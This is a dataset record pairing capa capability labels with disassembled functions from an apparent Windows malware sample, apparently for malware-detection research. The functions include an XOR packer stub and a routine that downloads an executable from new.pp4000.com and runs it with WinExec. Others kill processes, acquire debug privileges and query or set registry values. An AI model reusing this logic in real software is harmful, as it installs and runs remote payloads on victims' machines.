joyce8/EMBER2024-capa huggingface dataset:
Function at 0x529526
Capabilities:
Allocate thread local storage
Get thread local storage value
Set thread local storage value

Disassembly:
cmp dword [0x6b2310], 0
push ebx
push esi
mov esi, 0x6b2318
jne 0x529552
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
push esi
mov dword [0x6b2330], eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov dword [0x6b2310], 1
push dword [0x6b2330]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov ebx, eax
test ebx, ebx
jne 0x5295ef
push 0x14
push 8
push dword [0x637ce0]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, eax
test ebx, ebx
je 0x529619
push esi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [0x6b2314]
test eax, eax
je 0x529594
mov dword [eax], ebx
push edi
push esi
mov dword [ebx + 4], eax
mov dword [0x6b2314], ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea edi, [ebx + 0x10]
push 0
push 0
push 0x100000
push edi
call esi
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call esi
push eax
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
push 8
push 0xffffffffffffffff
push ebx
push 0x52961e
push dword [edi]
lea eax, [ebx + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_RegisterWaitForSingleObject]
push ebx
push dword [0x6b2330]
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
pop edi
push 0xc
push 0
push dword [0x637ce0]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test eax, eax
je 0x529619
mov ecx, dword [esp + 0xc]
mov dword [eax + 4], ecx
mov ecx, dword [esp + 0x10]
mov dword [eax + 8], ecx
mov ecx, dword [ebx + 8]
mov dword [eax], ecx
mov dword [ebx + 8], eax
pop esi
pop ebx
ret 8

Function at 0x430004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
call 0x43000c
nop
pop eax
nop
nop
nop
nop
nop
add eax, 0x403d6f
sub eax, 0x403d15
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
jl 0x430030
nop
nop
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
jne 0x43001e
nop
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp fcn.00401219
Function at 0x4010f0
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
xor esi, esi
mov eax, dword [edi]
mov ecx, dword [eax - 8]
test ecx, ecx
jle 0x401129
push ebx
mov bl, byte [esp + 0x1c]
mov al, byte [eax + esi]
mov dl, byte [esp + 0x18]
mov cl, byte [esp + 0x14]
add al, dl
xor al, cl
mov ecx, edi
sub al, bl
push eax
push esi
call fcn.0041f43e
mov eax, dword [edi]
inc esi
cmp esi, dword [eax - 8]
jl 0x401106
pop ebx
pop edi
pop esi
ret

Function at 0x401130
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x427a8f
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20
mov ecx, dword [0x43217c]
mov eax, dword [str.0123456789ABCDEF]
mov edx, dword [0x432180]
mov dword [esp + 0x10], ecx
mov cl, byte [0x432188]
push esi
push edi
mov dword [esp + 0x14], eax
mov eax, dword [0x432184]
xor edi, edi
mov byte [esp + 0x24], cl
push 0x438170
lea ecx, [esp + 0xc]
mov dword [esp + 0x14], edi
mov dword [esp + 0x20], edx
mov dword [esp + 0x24], eax
call fcn.0041efc1
mov edx, dword [esp + 0x3c]
mov dword [esp + 0x30], 1
mov eax, dword [edx]
cmp dword [eax - 8], edi
jbe 0x401216
push ebx
push ebp
mov bl, byte [eax + edi]
mov byte [esp + 0x14], bl
mov ebp, dword [esp + 0x14]
mov esi, ebp
and esi, 0xff
push esi
call fcn.0040eb2b
add esp, 4
test eax, eax
je 0x4011c6
push ebp
jmp 0x4011ff
cmp bl, 0x20
jne 0x4011cf
push 0x2b
jmp 0x4011ff
push 0x25
lea ecx, [esp + 0x14]
call fcn.0041f356
mov eax, esi
shr eax, 4
mov cl, byte [esp + eax + 0x1c]
push ecx
lea ecx, [esp + 0x14]
call fcn.0041f356
and esi, 0x8000000f
jns 0x4011fa
dec esi
or esi, 0xfffffff0
inc esi
mov dl, byte [esp + esi + 0x1c]
push edx
lea ecx, [esp + 0x14]
call fcn.0041f356
mov eax, dword [esp + 0x44]
inc edi
mov eax, dword [eax]
cmp edi, dword [eax - 8]
jb 0x4011a3
pop ebp
pop ebx
mov esi, dword [esp + 0x38]
lea ecx, [esp + 8]
push ecx
mov ecx, esi
call fcn.0041ecc8
mov dword [esp + 0x10], 1
lea ecx, [esp + 8]
mov byte [esp + 0x30], 0
call fcn.0041ef53
mov ecx, dword [esp + 0x28]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x2c
ret
Function at 0x401890
Capabilities:
Check os version

Disassembly:
push 0xffffffffffffffff
push 0x427b25
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x9c
push esi
push edi
mov ecx, 0x25
xor eax, eax
lea edi, [esp + 0x10]
mov dword [esp + 0xc], 0
rep stosd dword es:[edi], eax
lea eax, [esp + 0x10]
mov dword [esp + 0x10], 0x9c
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov eax, dword [esp + 0x1c]
mov ecx, dword [0x4346e4]
and eax, 0xffff
mov dword [esp + 8], ecx
mov ecx, dword [esp + 0x20]
mov edi, 1
cmp ecx, edi
mov dword [esp + 0xac], edi
jne 0x40199a
cmp dword [esp + 0x14], 4
jne 0x401a27
mov ecx, dword [esp + 0x18]
cmp ecx, 0xa
jae 0x40194c
cmp eax, 0x3b6
jne 0x401925
push str.Win95
jmp 0x401a1e
jbe 0x401938
cmp eax, 0x438
ja 0x40193f
push str.Win95SP1
jmp 0x401a1e
cmp eax, 0x438
jbe 0x401949
push str.Win95OSR2
jmp 0x401a1e
cmp ecx, 0xa
jne 0x401987
cmp eax, 0x7ce
jne 0x40195f
push str.Win98
jmp 0x401a1e
jbe 0x401972
cmp eax, 0x887
jae 0x40197d
push str.Win98SP1
jmp 0x401a1e
cmp eax, 0x887
jb 0x401a27
push str.Win98SE
jmp 0x401a1e
cmp ecx, 0x5a
jne 0x401a27
push str.WinME
jmp 0x401a1e
cmp ecx, 2
jne 0x401a14
mov eax, dword [esp + 0x14]
cmp eax, 3
jne 0x4019b6
cmp dword [esp + 0x18], 0x33
jne 0x401a27
push str.WinNT351
jmp 0x401a1e
cmp eax, 4
jne 0x4019ca
mov eax, dword [esp + 0x18]
test eax, eax
jne 0x401a27
push str.WinNT4
jmp 0x401a1e
cmp eax, 5
jne 0x4019f5
mov eax, dword [esp + 0x18]
test eax, eax
jne 0x4019de
push str.Win2K
jmp 0x401a1e
cmp eax, edi
jne 0x4019e9
push str.WinXP
jmp 0x401a1e
cmp eax, 2
jne 0x401a27
push str.Win2003
jmp 0x401a1e
cmp eax, 6
jne 0x401a27
mov eax, dword [esp + 0x18]
test eax, eax
jne 0x401a09
push str.VISTA
jmp 0x401a1e
cmp eax, edi
jne 0x401a27
push str.Win7
jmp 0x401a1e
cmp ecx, 3
jne 0x401a27
push 0x4322ac
lea ecx, [esp + 0xc]
call fcn.0041f0dc
mov esi, dword [esp + 0xb4]
lea edx, [esp + 8]
push edx
mov ecx, esi
call fcn.0041ecc8
mov dword [esp + 0xc], edi
lea ecx, [esp + 8]
mov byte [esp + 0xac], 0
call fcn.0041ef53
mov ecx, dword [esp + 0xa4]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0xa8
ret
Function at 0x401a70
Capabilities:
Access peb ldr_data
Query or enumerate registry value

Disassembly:
push 0xffffffffffffffff
push 0x427b5f
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x1c
push ebx
push esi
push str.about:blank
lea ecx, [esp + 0x14]
mov dword [esp + 0x24], 0
call fcn.0041efc1
mov eax, dword [0x4346e4]
mov ebx, 1
mov dword [esp + 0x2c], ebx
mov dword [esp + 0xc], eax
push str.TpixfujcRnduptpicNqjuqjJ
lea ecx, [esp + 0xc]
mov byte [esp + 0x30], 2
mov dword [esp + 0x20], ebx
mov dword [esp + 0x18], 0x104
call fcn.0041efc1
push 4
push 0
lea ecx, [esp + 0x10]
push 3
push ecx
mov byte [esp + 0x3c], 3
call fcn.004010f0
mov eax, dword [esp + 0x18]
add esp, 0x10
lea edx, [esp + 0x18]
push edx
push 0x20019
push 0
push eax
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x401bb3
push str.TfuWfhj
lea ecx, [esp + 0xc]
mov dword [esp + 0x18], 0x104
call fcn.0041f0dc
push 4
push 0
lea ecx, [esp + 0x10]
push 3
push ecx
call fcn.004010f0
mov esi, dword [esp + 0x18]
add esp, 0x10
lea edx, [esp + 0x14]
lea ecx, [esp + 0xc]
push edx
push 0x104
call fcn.0041f383
mov ecx, dword [esp + 0x1c]
push eax
lea eax, [esp + 0x24]
push eax
push 0
push esi
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push 0xffffffffffffffff
lea ecx, [esp + 0x10]
mov esi, eax
call fcn.0041f3d2
test esi, esi
jne 0x401b98
mov edx, dword [esp + 0xc]
mov eax, dword [edx - 8]
test eax, eax
je 0x401ba6
lea eax, [esp + 0xc]
lea ecx, [esp + 0x10]
push eax
call fcn.0041f08c
mov ecx, dword [esp + 0x18]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x401bc1
push str.get_value_failure
lea ecx, [esp + 0x14]
call fcn.0041f0dc
mov ecx, dword [esp + 0x18]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x401bc1
push str.open_registry_failure
lea ecx, [esp + 0x14]
call fcn.0041f0dc
mov esi, dword [esp + 0x34]
lea edx, [esp + 0x10]
push edx
mov ecx, esi
call fcn.0041ecc8
mov dword [esp + 0x20], ebx
lea ecx, [esp + 8]
mov byte [esp + 0x2c], 2
call fcn.0041ef53
lea ecx, [esp + 0xc]
mov byte [esp + 0x2c], bl
call fcn.0041ef53
lea ecx, [esp + 0x10]
mov byte [esp + 0x2c], 0
call fcn.0041ef53
mov ecx, dword [esp + 0x24]
mov eax, esi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x28
ret
Function at 0x401c20
Capabilities:
Access peb ldr_data
Query or enumerate registry value

Disassembly:
push 0xffffffffffffffff
push 0x427b97
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x18
mov eax, dword [0x4346e4]
push ebx
push esi
mov dword [esp + 0x1c], 0
mov dword [esp + 8], eax
mov ebx, 1
push str.UQHZYGTKbSoetquqhzbGjxgpekjOPHUkzv
lea ecx, [esp + 0x10]
mov dword [esp + 0x2c], ebx
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x18], 0x104
call fcn.0041efc1
push 4
push 0
lea ecx, [esp + 0x14]
push 2
push ecx
mov byte [esp + 0x38], 2
call fcn.004010f0
mov eax, dword [esp + 0x1c]
add esp, 0x10
lea edx, [esp + 0x10]
push edx
push 0x20019
push 0
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x401cb6
push str.97sky
lea ecx, [esp + 0xc]
call fcn.0041f0dc
jmp 0x401d16
lea ecx, [esp + 0x14]
push ecx
push 0x104
lea ecx, [esp + 0x10]
call fcn.0041f383
lea edx, [esp + 0x1c]
push eax
mov eax, dword [esp + 0x18]
push edx
push 0
push str.EnableJava
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push 0xffffffffffffffff
lea ecx, [esp + 0xc]
mov esi, eax
call fcn.0041f3d2
mov ecx, dword [esp + 8]
mov eax, dword [ecx - 8]
test eax, eax
je 0x401cfd
test esi, esi
je 0x401d0b
push str.97sky
lea ecx, [esp + 0xc]
call fcn.0041f0dc
mov edx, dword [esp + 0x10]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, dword [esp + 0x30]
lea eax, [esp + 8]
push eax
mov ecx, esi
call fcn.0041ecc8
mov dword [esp + 0x1c], ebx
lea ecx, [esp + 0xc]
mov byte [esp + 0x28], bl
call fcn.0041ef53
lea ecx, [esp + 8]
mov byte [esp + 0x28], 0
call fcn.0041ef53
mov ecx, dword [esp + 0x20]
mov eax, esi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x24
ret
Function at 0x4024d0
Capabilities:
Query or enumerate registry value

Disassembly:
push 0xffffffffffffffff
push 0x427c7f
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14
push esi
xor esi, esi
push edi
mov dword [esp + 0x18], 0
mov dword [esp + 0x10], esi
mov eax, dword [0x4346e4]
mov dword [esp + 0x24], 1
mov dword [esp + 8], eax
lea ecx, [esp + 0xc]
mov byte [esp + 0x24], 2
push ecx
push 0xf003f
push esi
push str.SOFTWAREMicrosoftInternet_Explorer
push 0x80000002
mov dword [esp + 0x28], 0x100
mov dword [esp + 0x20], esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x402541
mov esi, dword [esp + 0xc]
mov dword [esp + 0x10], esi
push 0x100
lea ecx, [esp + 0xc]
call fcn.0041f383
lea edx, [esp + 0x14]
mov dword [esp + 0xc], 0
push edx
push eax
lea eax, [esp + 0x14]
push eax
push 0
push str.Version
push esi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test esi, esi
je 0x402581
push esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor esi, esi
mov dword [esp + 0x10], esi
push 0xffffffffffffffff
lea ecx, [esp + 0xc]
call fcn.0041f3d2
push 1
lea ecx, [esp + 0x10]
push 0
push ecx
lea ecx, [esp + 0x14]
call fcn.0041dfcc
push eax
lea ecx, [esp + 0xc]
mov byte [esp + 0x28], 3
call fcn.0041f08c
lea ecx, [esp + 0xc]
mov byte [esp + 0x24], 2
call fcn.0041ef53
mov edi, dword [esp + 0x2c]
lea edx, [esp + 8]
push edx
mov ecx, edi
call fcn.0041ecc8
mov dword [esp + 0x18], 1
lea ecx, [esp + 8]
mov byte [esp + 0x24], 1
call fcn.0041ef53
test esi, esi
je 0x4025ec
push esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [esp + 0x1c]
mov eax, edi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x20
ret
Function at 0x403b50
Capabilities:
Check internet connectivity via wininet
Create process on windows
Download url
Get common file path
Receive data

Disassembly:
push 0xffffffffffffffff
push 0x427e60
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20
lea eax, [esp + 8]
push 0
push eax
call dword [sym.imp.WININET.dll_InternetGetConnectedState]
lea ecx, [esp + 0x10]
call fcn.0041f6c8
mov ecx, dword [0x4346e4]
mov dword [esp + 0x28], 0
mov dword [esp], ecx
mov al, byte [esp + 8]
mov byte [esp + 0x28], 1
test al, 7
jne 0x403bac
mov dword [0x43836c], 0
jmp 0x403c70
push esi
push 0x100
lea ecx, [esp + 8]
call fcn.0041f383
mov esi, dword [sym.imp.KERNEL32.dll_GetTempPathA]
push eax
push 0x100
call esi
push 0xffffffffffffffff
lea ecx, [esp + 8]
call fcn.0041f3d2
push str.http:__new.pp4000.com_iexplore.exe
lea ecx, [esp + 0xc]
call fcn.0041efc1
push 0x100
mov ecx, 0x438178
mov byte [esp + 0x30], 2
call fcn.0041f383
push eax
push 0x100
call esi
push 0xffffffffffffffff
mov ecx, 0x438178
call fcn.0041f3d2
push str.iexplor.exe
lea edx, [esp + 0x14]
push 0x438178
push edx
call fcn.0041f1e8
push eax
mov ecx, 0x438178
mov byte [esp + 0x30], 3
call fcn.0041f08c
lea ecx, [esp + 0x10]
mov byte [esp + 0x2c], 2
call fcn.0041ef53
mov eax, dword [0x438178]
mov ecx, dword [esp + 8]
push 0
push 0
push eax
push ecx
push 0
call sub.urlmon.dll_URLDownloadToFileA
mov edx, dword [0x438178]
push 5
push edx
call dword [sym.imp.KERNEL32.dll_WinExec]
lea ecx, [esp + 8]
mov byte [esp + 0x2c], 1
call fcn.0041ef53
pop esi
lea ecx, [esp]
mov byte [esp + 0x28], 0
call fcn.0041ef53
lea ecx, [esp + 0x10]
mov dword [esp + 0x28], 0xffffffff
call fcn.0041f71d
mov ecx, dword [esp + 0x20]
mov dword fs:[0], ecx
add esp, 0x2c
ret

Function at 0x403ca0
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push 0xffffffffffffffff
push 0x427e7b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x12c
push edi
xor eax, eax
mov ecx, 0x49
lea edi, [esp + 0xc]
mov dword [esp + 8], 0x128
push eax
rep stosd dword es:[edi], eax
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
cmp edi, 0xffffffff
je 0x403d7e
lea eax, [esp + 8]
push eax
push edi
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x403d77
push ebp
mov ebp, dword [esp + 0x144]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_OpenProcess]
lea ecx, [esp + 0x34]
push ecx
lea ecx, [esp + 0x10]
call fcn.0041efc1
lea ecx, [esp + 0xc]
mov dword [esp + 0x140], 0
call fcn.0041f42c
push ebp
lea ecx, [esp + 0x10]
call fcn.0041e178
cmp eax, 0xffffffff
je 0x403d52
mov edx, dword [esp + 0x18]
push edx
push 0
push 0x1f0fff
call esi
test eax, eax
je 0x403d52
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
lea ecx, [esp + 0xc]
mov dword [esp + 0x140], 0xffffffff
call fcn.0041ef53
lea eax, [esp + 0x10]
push eax
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x403d06
pop esi
pop ebp
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x130]
pop edi
mov dword fs:[0], ecx
add esp, 0x138
ret
Function at 0x4042b0
Capabilities:
Set registry value

Disassembly:
push 0xffffffffffffffff
push 0x427ed8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14
push ebx
push esi
xor esi, esi
push edi
xor ebx, ebx
mov dword [esp + 0x14], esi
mov eax, dword [0x4346e4]
mov dword [esp + 0x28], ebx
mov dword [esp + 0xc], eax
lea ecx, [esp + 0x10]
mov byte [esp + 0x28], 1
push ecx
call fcn.0041e5f5
mov edx, dword [eax]
lea eax, [esp + 0x10]
push eax
push 0xf003f
push ebx
push str.SOFTWAREKingsaft
push 0x80000002
mov dword [esp + 0x2c], edx
mov dword [esp + 0x24], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
cmp eax, ebx
jne 0x40431e
mov esi, dword [esp + 0x10]
jmp 0x40434d
lea ecx, [esp + 0x1c]
lea edx, [esp + 0x10]
push ecx
push edx
push ebx
push 0xf003f
push ebx
push ebx
push ebx
push str.SOFTWAREKingsaft
push 0x80000002
mov dword [esp + 0x34], ebx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
cmp eax, ebx
jne 0x4043b6
mov esi, dword [esp + 0x10]
push ecx
lea ecx, [esp + 0x1c]
mov eax, esp
mov dword [esp + 0x18], esi
mov dword [esp + 0x20], esp
mov dword [eax], 0x15180
call fcn.004043e0
lea eax, [esp + 0x10]
push str._Y_m_d
push eax
lea ecx, [esp + 0x20]
call fcn.0041e608
push eax
lea ecx, [esp + 0x10]
mov byte [esp + 0x2c], 2
call fcn.0041f08c
lea ecx, [esp + 0x10]
mov byte [esp + 0x28], 1
call fcn.0041ef53
mov eax, dword [esp + 0xc]
push eax
mov edi, eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
push edi
push 1
push ebx
push str.NextUpdateTime
push esi
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea ecx, [esp + 0xc]
mov byte [esp + 0x28], bl
call fcn.0041ef53
cmp esi, ebx
je 0x4043ce
push esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [esp + 0x20]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
add esp, 0x20
ret
Function at 0x4049e0
Capabilities:
Get common file path
Read .ini file

Disassembly:
push 0xffffffffffffffff
push 0x427fe8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
mov eax, dword [0x4346e4]
push esi
mov dword [esp + 4], eax
push 0x100
lea ecx, [esp + 8]
mov dword [esp + 0x18], 0
call fcn.0041f383
push eax
push 0x100
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
push 0xffffffffffffffff
lea ecx, [esp + 8]
call fcn.0041f3d2
lea ecx, [esp + 4]
push str.Icons_ver.ini
lea edx, [esp + 0xc]
push ecx
push edx
call fcn.0041f1e8
mov eax, dword [eax]
push eax
push 0x270f
push 0x432a40
push str.main
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
lea ecx, [esp + 8]
mov esi, eax
call fcn.0041ef53
lea ecx, [esp + 4]
mov dword [esp + 0x14], 0xffffffff
call fcn.0041ef53
mov ecx, dword [esp + 0xc]
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x14
ret
Function at 0x4054e0
Capabilities:
Acquire debug privileges

Disassembly:
sub esp, 0x1c
lea eax, [esp]
push esi
push eax
push 0x20
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x405563
lea ecx, [esp + 8]
push ecx
push str.SeDebugPrivilege
push esi
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov edx, dword [esp + 8]
mov ecx, dword [esp + 0x24]
mov eax, dword [esp + 0xc]
mov dword [esp + 0x14], edx
neg ecx
push esi
push esi
lea edx, [esp + 0x18]
mov dword [esp + 0x20], eax
mov eax, dword [esp + 0xc]
push 0x10
sbb ecx, ecx
push edx
and ecx, 2
push esi
push eax
mov dword [esp + 0x28], 1
mov dword [esp + 0x34], ecx
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [esp + 4]
mov esi, eax
neg esi
sbb esi, esi
push ecx
inc esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
add esp, 0x1c
ret

Function at 0x405570
Capabilities:
Enumerate processes

Disassembly:
push 0xffffffffffffffff
push 0x42811b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x12c
push ebx
push ebp
push esi
push edi
xor eax, eax
mov ecx, 0x49
lea edi, [esp + 0x18]
mov dword [esp + 0x14], 0x128
push eax
push 2
rep stosd dword es:[edi], eax
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
cmp edi, 0xffffffff
je 0x40565d
lea eax, [esp + 0x14]
push eax
push edi
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x405656
mov ebp, dword [esp + 0x14c]
mov ebx, dword [sym.imp.KERNEL32.dll_OpenProcess]
lea ecx, [esp + 0x38]
push ecx
lea ecx, [esp + 0x14]
call fcn.0041efc1
lea ecx, [esp + 0x10]
mov dword [esp + 0x144], 0
call fcn.0041f42c
push ebp
lea ecx, [esp + 0x14]
call fcn.0041e178
cmp eax, 0xffffffff
je 0x405619
mov edx, dword [esp + 0x1c]
push edx
push 0
push 0xa
call ebx
mov esi, eax
test esi, esi
jne 0x40563e
lea ecx, [esp + 0x10]
mov dword [esp + 0x144], 0xffffffff
call fcn.0041ef53
lea eax, [esp + 0x14]
push eax
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x405656
jmp 0x4055d7
lea ecx, [esp + 0x10]
mov dword [esp + 0x144], 0xffffffff
call fcn.0041ef53
mov eax, esi
jmp 0x40565f
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov ecx, dword [esp + 0x13c]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x138
ret
Function at 0x406d1b
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
mov ecx, 0x438180
jmp 0x406d00
push 0xffffffffffffffff
push 0x42840b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, dword [0x4346e4]
push esi
mov esi, ecx
mov dword [esp + 4], esi
mov dword [esi + 4], eax
mov ecx, dword [0x4346e4]
mov dword [esp + 0x10], 0
mov dword [esi + 8], ecx
mov edx, dword [0x4346e4]
mov dword [esi + 0xc], edx
mov eax, dword [0x4346e4]
mov dword [esi + 0x18], eax
mov ecx, dword [0x4346e4]
mov dword [esi + 0x1c], ecx
mov edx, dword [0x4346e4]
mov dword [esi + 0x20], edx
mov eax, dword [0x4346e4]
mov dword [esi + 0x24], eax
mov ecx, dword [0x4346e4]
mov dword [esi + 0x28], ecx
mov edx, dword [0x4346e4]
mov dword [esi + 0x2c], edx
mov eax, dword [0x4346e4]
mov dword [esi + 0x30], eax
mov ecx, dword [0x4346e4]
mov dword [esi + 0x34], ecx
mov edx, dword [0x4346e4]
mov dword [esi + 0x40], edx
lea ecx, [esi + 0x4c]
mov byte [esp + 0x10], 0xb
call fcn.0041e6f7
lea ecx, [esi + 0x60]
mov byte [esp + 0x10], 0xc
call fcn.0041e6f7
lea ecx, [esi + 0x74]
mov byte [esp + 0x10], 0xd
call fcn.0041e6f7
lea ecx, [esi + 0x88]
mov byte [esp + 0x10], 0xe
call fcn.0041e6f7
lea ecx, [esi + 0x9c]
mov byte [esp + 0x10], 0xf
call fcn.0041e6f7
lea ecx, [esi + 0xb0]
mov byte [esp + 0x10], 0x10
call fcn.0041e6f7
lea ecx, [esi + 0xc4]
mov byte [esp + 0x10], 0x11
call fcn.0041e6f7
lea ecx, [esi + 0xd8]
mov byte [esp + 0x10], 0x12
call fcn.0041e6f7
mov eax, dword [0x4346e4]
mov dword [esi + 0xec], eax
mov ecx, dword [0x4346e4]
mov dword [esi + 0xf0], ecx
mov edx, dword [0x4346e4]
mov dword [esi + 0xf4], edx
mov eax, dword [0x4346e4]
mov dword [esi + 0xf8], eax
mov ecx, dword [0x4346e4]
mov dword [esi + 0xfc], ecx
mov edx, dword [0x4346e4]
mov dword [esi + 0x100], edx
lea ecx, [esi + 0x104]
mov byte [esp + 0x10], 0x19
call fcn.0041e6f7
mov eax, dword [0x4346e4]
mov dword [esi + 0x118], eax
mov ecx, esi
mov byte [esp + 0x10], 0x1b
mov dword [esi], 0x42a4cc
call fcn.00407080
mov ecx, dword [esp + 8]
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret